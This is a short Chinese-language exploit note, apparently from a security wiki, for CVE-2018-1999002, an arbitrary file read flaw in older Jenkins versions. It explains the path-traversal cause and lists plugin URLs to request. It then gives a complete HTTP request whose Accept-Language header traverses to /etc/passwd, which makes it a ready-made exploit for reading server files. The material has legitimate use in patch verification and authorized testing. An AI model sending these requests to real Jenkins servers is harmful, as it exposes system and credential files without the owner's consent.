CVE-2018-1999002 任意文件读取

影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.

详情:https://xz.aliyun.com/t/2486

结合payload来看,我们请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限,在请求头中添加

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径,比如/plugin/xxxx,可以尝试

/plugin/jquery-detached/.xml

/plugin/jquery-detached/.key

/plugin/credentials/.ini

在Windows下这么使用

GET /plugin/credentials/.ini HTTP/1.1Host: x.x.x.x:8080Accept: text/javascript, text/html, application/xml, text/xml, */*X-Prototype-Version: 1.7DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36Origin: http://x.x.x.x:8080Referer: http://x.x.x.x:8080/Accept-Encoding: gzip, deflateAccept-Language: /../../../../../../../../etc/passwdCookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971Connection: close

Last updated

Was this helpful?